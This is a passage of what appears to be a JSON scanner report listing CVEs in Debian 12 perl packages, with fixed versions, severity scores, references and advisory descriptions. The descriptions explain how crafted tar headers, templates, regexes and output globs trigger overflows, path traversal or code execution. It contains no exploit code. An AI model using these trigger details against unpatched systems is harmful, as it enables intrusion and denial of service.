"https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:c8df35e3c5f9e6ca5001d1b275bb6e3330c07f251ec3f9ad2bd5b9b84a3712dc", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl@5.36.0-7+deb12u3", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:acdf9217efa9f301ef9d4ef52d4c5abed1cbe4f38242422bcbdf9c70312a50fa", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl@5.36.0-7+deb12u3", "PkgName": "perl", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "9a9e37f215d7930c" }, "InstalledVersion": "5.36.0-7+deb12u3", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:a1271d1eac3b91935fbe55d9156c8985c79513784e81285d2b4fbd56380c6edf", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-13221", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-base@5.36.0-7+deb12u3", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-13221", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5097f9f4f95cb8512ea6eec891ee280ceee69c978555930c34e6ef79bfe835aa", "Title": "perl: Perl: Incorrect regular expression processing via large regular expressions", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.10 produce silently incorrect regular expression matches when an alternation of more than 65535 fixed string branches is compiled into a trie in Perl_study_chunk.\n\nWhen such branches are combined into a trie, the delta between the first branch and the shared tail is stored in a 16-bit field. A branch count above 65535 overflows the field, and the trie's match decision table is truncated with no warning or error.\n\nA pattern of this shape produces false positive matches (matching strings it should not) and false negative matches (failing to match strings it should). When such a pattern gates an access or filtering decision, the result is wrong.", "Severity": "CRITICAL", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 2, "amazon": 2, "azure": 2, "nvd": 4, "oracle-oval": 2, "photon": 4, "redhat": 2, "rocky": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N", "V3Score": 5.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/5", "https://access.redhat.com/errata/RHSA-2026:67155", "https://access.redhat.com/security/cve/CVE-2026-13221", "https://bugzilla.redhat.com/2499727", "https://bugzilla.redhat.com/show_bug.cgi?id=2499727", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13221", "https://errata.almalinux.org/9/ALSA-2026-67155.html", "https://errata.rockylinux.org/RLSA-2026:67155", "https://github.com/Perl/perl5/commit/03f74bbbd3a68350d926ee93d56ee4808c28c4c7.patch", "https://github.com/Perl/perl5/issues/23388", "https://linux.oracle.com/cve/CVE-2026-13221.html", "https://linux.oracle.com/errata/ELSA-2026-67278-0.html", "https://lists.security.metacpan.org/cve-announce/msg/41780104/", "https://nvd.nist.gov/vuln/detail/CVE-2026-13221", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-13221" ], "PublishedDate": "2026-07-13T17:16:48.923Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-42496", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-base@5.36.0-7+deb12u3", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42496", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:35a85d619275a20ec516d592e01938d1fa4b1bc3da967e487a53efab2e158c8d", "Title": "perl-archive-tar: perl-archive-tar: Path traversal via crafted symlinks allows arbitrary file access", "Description": "Archive::Tar versions before 3.08 for Perl extract symlinks with attacker controlled targets outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to symlink() without validating it against absolute paths or .. segments. The secure-extract mode check that guards regular file extraction does not cover the symlink target.\n\nA subsequent open through the extracted name reads or writes the attacker chosen path.", "Severity": "CRITICAL", "CweIDs": [ "CWE-59", "CWE-22" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "nvd": 4, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "V3Score": 9.1 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "V3Score": 8.2 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30852", "https://access.redhat.com/errata/RHSA-2026:30856", "https://access.redhat.com/errata/RHSA-2026:30857", "https://access.redhat.com/security/cve/CVE-2026-42496", "https://bugzilla.redhat.com/2481314", "https://bugzilla.redhat.com/show_bug.cgi?id=2481314", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42496", "https://errata.almalinux.org/9/ALSA-2026-30856.html", "https://errata.rockylinux.org/RLSA-2026:30856", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://linux.oracle.com/cve/CVE-2026-42496.html", "https://linux.oracle.com/errata/ELSA-2026-30857.html", "https://lists.security.metacpan.org/cve-announce/msg/40396459/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42496", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42496.json", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.13Z", "LastModifiedDate": "2026-07-24T10:10:00.197Z" }, { "VulnerabilityID": "CVE-2026-8376", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-base@5.36.0-7+deb12u3", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-8376", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0c8db9a475ed229e63612be432c01ff127f5c921eba4899a5d1cba1d771d88f6", "Title": "perl: Perl: Heap buffer overflow when compiling regular expressions on 32-bit builds", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have a heap buffer overflow when compiling regular expressions with a repeated fixed string on 32-bit builds.\n\nPerl_study_chunk in regcomp_study.c checked the size of the joined substring buffer in characters rather than bytes. For a quantified fixed substring with a large minimum count, the byte length mincount * l could overflow SSize_t, producing an undersized SvGROW allocation; the subsequent copy writes past the end of the buffer.\n\nA caller that compiles an attacker-controlled regular expression on a 32-bit perl build triggers a heap buffer overflow at compile time.", "Severity": "CRITICAL", "CweIDs": [ "CWE-680" ], "VendorSeverity": { "amazon": 2, "azure": 2, "nvd": 4, "photon": 4, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 9.8 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H", "V3Score": 5.7 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/1", "https://access.redhat.com/security/cve/CVE-2026-8376", "https://github.com/Perl/perl5/commit/5e7f119eb2bb1181be908701f22bf7068e722f1c.patch", "https://github.com/Perl/perl5/pull/24433", "https://nvd.nist.gov/vuln/detail/CVE-2026-8376", "https://ubuntu.com/security/notices/USN-8467-1", "https://www.cve.org/CVERecord?id=CVE-2026-8376" ], "PublishedDate": "2026-05-26T00:16:57.15Z", "LastModifiedDate": "2026-09-08T22:19:18.373Z" }, { "VulnerabilityID": "CVE-2026-42497", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-base@5.36.0-7+deb12u3", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-42497", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:0e7ae902ce98809f24a4268f26848471c1daa12a9d86b702e7803f380b37b387", "Title": "perl-Archive-Tar: perl-Archive-Tar: Arbitrary file modification via crafted hardlinks during archive extraction", "Description": "Archive::Tar versions before 3.08 for Perl extract hardlinks to attacker controlled paths outside the extraction directory.\n\n_make_special_file() passes the tar header's linkname to link() without validating it against absolute paths or .. segments, creating a hardlink that shares the victim file's inode.\n\nA subsequent write through the extracted name modifies the victim file, and the post-extraction chmod, chown, and utime block in _extract_file() (guarded only against symlinks via -l) applies the tar header's mode, owner, and timestamps to the shared inode during extraction alone.", "Severity": "HIGH", "CweIDs": [ "CWE-59", "CWE-732" ], "VendorSeverity": { "amazon": 3, "azure": 2, "nvd": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:H/A:H", "V3Score": 6.8 } }, "References": [ "https://access.redhat.com/security/cve/CVE-2026-42497", "https://github.com/jib/archive-tar-new/commit/17c873492a05eddc0de18c1485e0b2cccd5a9158.patch", "https://lists.security.metacpan.org/cve-announce/msg/40396457/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.08/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-42497", "https://www.cve.org/CVERecord?id=CVE-2026-42496", "https://www.cve.org/CVERecord?id=CVE-2026-42497" ], "PublishedDate": "2026-05-26T02:16:40.25Z", "LastModifiedDate": "2026-07-24T11:10:00.17Z" }, { "VulnerabilityID": "CVE-2026-48962", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-base@5.36.0-7+deb12u3", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-48962", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:1b3d65573a07103fec1b19c9324c60bc0d4af354523fdb08482de61817ac6e9f", "Title": "perl-IO-Compress: perl-IO-Compress: Arbitrary code execution via attacker-controlled output glob", "Description": "IO::Compress versions before 2.220 for Perl can execute arbitrary code in File::GlobMapper via an attacker-controlled output glob.\n\n_parseOutputGlob() wraps the caller-supplied output glob string in double quotes and stores it in the parser state; _getFiles() then runs the stored expression through eval STRING. A literal double quote in the output glob closes the dquote wrapper, and the characters that follow are evaluated as Perl.\n\nArbitrary Perl in the output glob executes at the calling process's privilege.", "Severity": "HIGH", "CweIDs": [ "CWE-95", "CWE-94" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/27/4", "https://access.redhat.com/errata/RHSA-2026:29182", "https://access.redhat.com/errata/RHSA-2026:29210", "https://access.redhat.com/errata/RHSA-2026:29867", "https://access.redhat.com/errata/RHSA-2026:29941", "https://access.redhat.com/errata/RHSA-2026:30085", "https://access.redhat.com/errata/RHSA-2026:30086", "https://access.redhat.com/errata/RHSA-2026:30115", "https://access.redhat.com/errata/RHSA-2026:30843", "https://access.redhat.com/errata/RHSA-2026:30851", "https://access.redhat.com/errata/RHSA-2026:30858", "https://access.redhat.com/errata/RHSA-2026:30859", "https://access.redhat.com/errata/RHSA-2026:30860", "https://access.redhat.com/errata/RHSA-2026:50262", "https://access.redhat.com/security/cve/CVE-2026-48962", "https://bugzilla.redhat.com/2481767", "https://bugzilla.redhat.com/show_bug.cgi?id=2481767", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-48962", "https://errata.almalinux.org/9/ALSA-2026-30859.html", "https://errata.rockylinux.org/RLSA-2026:30859", "https://github.com/pmqs/IO-Compress/commit/f2db247bf90d4cc7ee2710be384946081f3b4610.patch", "https://linux.oracle.com/cve/CVE-2026-48962.html", "https://linux.oracle.com/errata/ELSA-2026-30860.html", "https://lists.security.metacpan.org/cve-announce/msg/40434385/", "https://metacpan.org/release/PMQS/IO-Compress-2.220/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-48962", "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-48962.json", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-48962" ], "PublishedDate": "2026-05-27T04:16:31.333Z", "LastModifiedDate": "2026-08-05T13:23:22.46Z" }, { "VulnerabilityID": "CVE-2026-57432", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-base@5.36.0-7+deb12u3", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57432", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d2bcf1b2670fdb233036c15f73cf2e1c7cdac10e214bd62e4e37a97cd2fcb23d", "Title": "perl: Perl: Information disclosure via integer overflow in pack/unpack operations", "Description": "Perl versions before 5.40.5-RC1, from 5.41.0 before 5.42.3-RC1, from 5.43.0 before 5.43.11 have an integer overflow in S_measure_struct leading to an out-of-bounds heap read in pack and unpack.\n\nS_measure_struct adds each item's size times its repeat count to a running total with no overflow check, so a large repeat count in a pack or unpack template wraps the signed SSize_t total negative. The @, X, and x position codes then guard their moves with a signed length comparison that passes when the length is negative, advancing the buffer pointer out of bounds.\n\nA template derived from untrusted input can read heap memory past the buffer and return it to the caller.", "Severity": "HIGH", "CweIDs": [ "CWE-125", "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 3, "nvd": 3, "photon": 3, "redhat": 2, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "V3Score": 8.4 }, "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N", "V3Score": 5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/6", "https://access.redhat.com/security/cve/CVE-2026-57432", "https://github.com/Perl/perl5/commit/40754edc72dd3e513d758153c0e2f0215897740e.patch", "https://github.com/Perl/perl5/commit/5f7eb6bbbe0510964e3fb1d6bb691e5445913e55.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780102/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57432", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57432" ], "PublishedDate": "2026-07-13T17:17:55.67Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-57433", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-base@5.36.0-7+deb12u3", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "InstalledVersion": "5.36.0-7+deb12u3", "FixedVersion": "5.36.0-7+deb12u4", "Status": "fixed", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-57433", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:50457d9bc551bde531a0a0efc72dc7f31849b434a45a0d1b3b1efabe80dcad80", "Title": "Storable: Storable: Denial of Service via signed integer overflow in deserialization", "Description": "Storable versions before 3.41 for Perl have a signed integer overflow when deserializing a crafted SX_HOOK record.\n\nretrieve_hook_common reads a signed 32-bit item count from an SX_HOOK record and calls av_extend with that count plus one. A count of I32_MAX wraps the addition to a negative value.\n\nA crafted blob passed to thaw or retrieve triggers the overflow; av_extend receives the negative count and dies with a panic, terminating the deserialization.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "amazon": 2, "azure": 4, "redhat": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/07/13/7", "https://access.redhat.com/security/cve/CVE-2026-57433", "https://github.com/Perl/perl5/commit/e4f681784bcdeaa91ff02a2fa4cdcae5c46779d7.patch", "https://lists.security.metacpan.org/cve-announce/msg/41780100/", "https://nvd.nist.gov/vuln/detail/CVE-2026-57433", "https://ubuntu.com/security/notices/USN-8675-1", "https://ubuntu.com/security/notices/USN-8675-2", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-57433" ], "PublishedDate": "2026-07-13T17:17:55.783Z", "LastModifiedDate": "2026-10-24T22:10:00.21Z" }, { "VulnerabilityID": "CVE-2026-9538", "PkgID": "perl-base@5.36.0-7+deb12u3", "PkgName": "perl-base", "PkgIdentifier": { "PURL": "pkg:deb/debian/perl-base@5.36.0-7%2Bdeb12u3?arch=amd64\u0026distro=debian-12.13", "UID": "4d96814618e564ec" }, "InstalledVersion": "5.36.0-7+deb12u3", "Status": "fix_deferred", "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "SeveritySource": "nvd", "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-9538", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:5d886edf9d6c71309f0f708b101099292e11801e90c6dad81d61a8e8872d6676", "Title": "perl-Archive-Tar: perl-Archive-Tar: Denial of Service via crafted tar header with large entry size", "Description": "Archive::Tar versions before 3.10 for Perl allow memory exhaustion via attacker controlled entry size field in tar header.\n\n_read_tar() reads each entry's payload with $handle-\u003eread($$data, $block), where $block is derived from the entry's 12-byte size field in the tar header with no upper bound on that value.\n\nA crafted header declaring a multi-gigabyte size causes Perl to allocate a scalar of that size.", "Severity": "HIGH", "CweIDs": [ "CWE-789" ], "VendorSeverity": { "alma": 3, "amazon": 3, "nvd": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "nvd": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 }, "redhat": { "V3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "V3Score": 7.5 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/05/26/4", "https://access.redhat.com/errata/RHSA-2026:49525", "https://access.redhat.com/security/cve/CVE-2026-9538", "https://bugzilla.redhat.com/2481315", "https://bugzilla.redhat.com/show_bug.cgi?id=2481315", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-9538", "https://errata.almalinux.org/9/ALSA-2026-49525.html", "https://errata.rockylinux.org/RLSA-2026:49525", "https://github.com/jib/archive-tar-new/commit/f9af01426038e29d9578825a0cd3626946ab08c7.patch", "https://linux.oracle.com/cve/CVE-2026-9538.html", "https://linux.oracle.com/errata/ELSA-2026-49525.html", "https://lists.security.metacpan.org/cve-announce/msg/40396448/", "https://metacpan.org/release/BINGOS/Archive-Tar-3.10/changes", "https://nvd.nist.gov/vuln/detail/CVE-2026-9538", "https://ubuntu.com/security/notices/USN-8684-1", "https://www.cve.org/CVERecord?id=CVE-2026-9538" ], "PublishedDate": "2026-05-26T02:16:41.15Z", "LastModifiedDate": "2026-07-23T11:10:00.12Z" }, { "VulnerabilityID": "CVE-2026-13221", "VendorIDs": [ "DLA-4821-1" ], "PkgID": "perl-modules-5.36@5.36.0-7+deb12u3", "PkgName": "perl-modules-5.36", 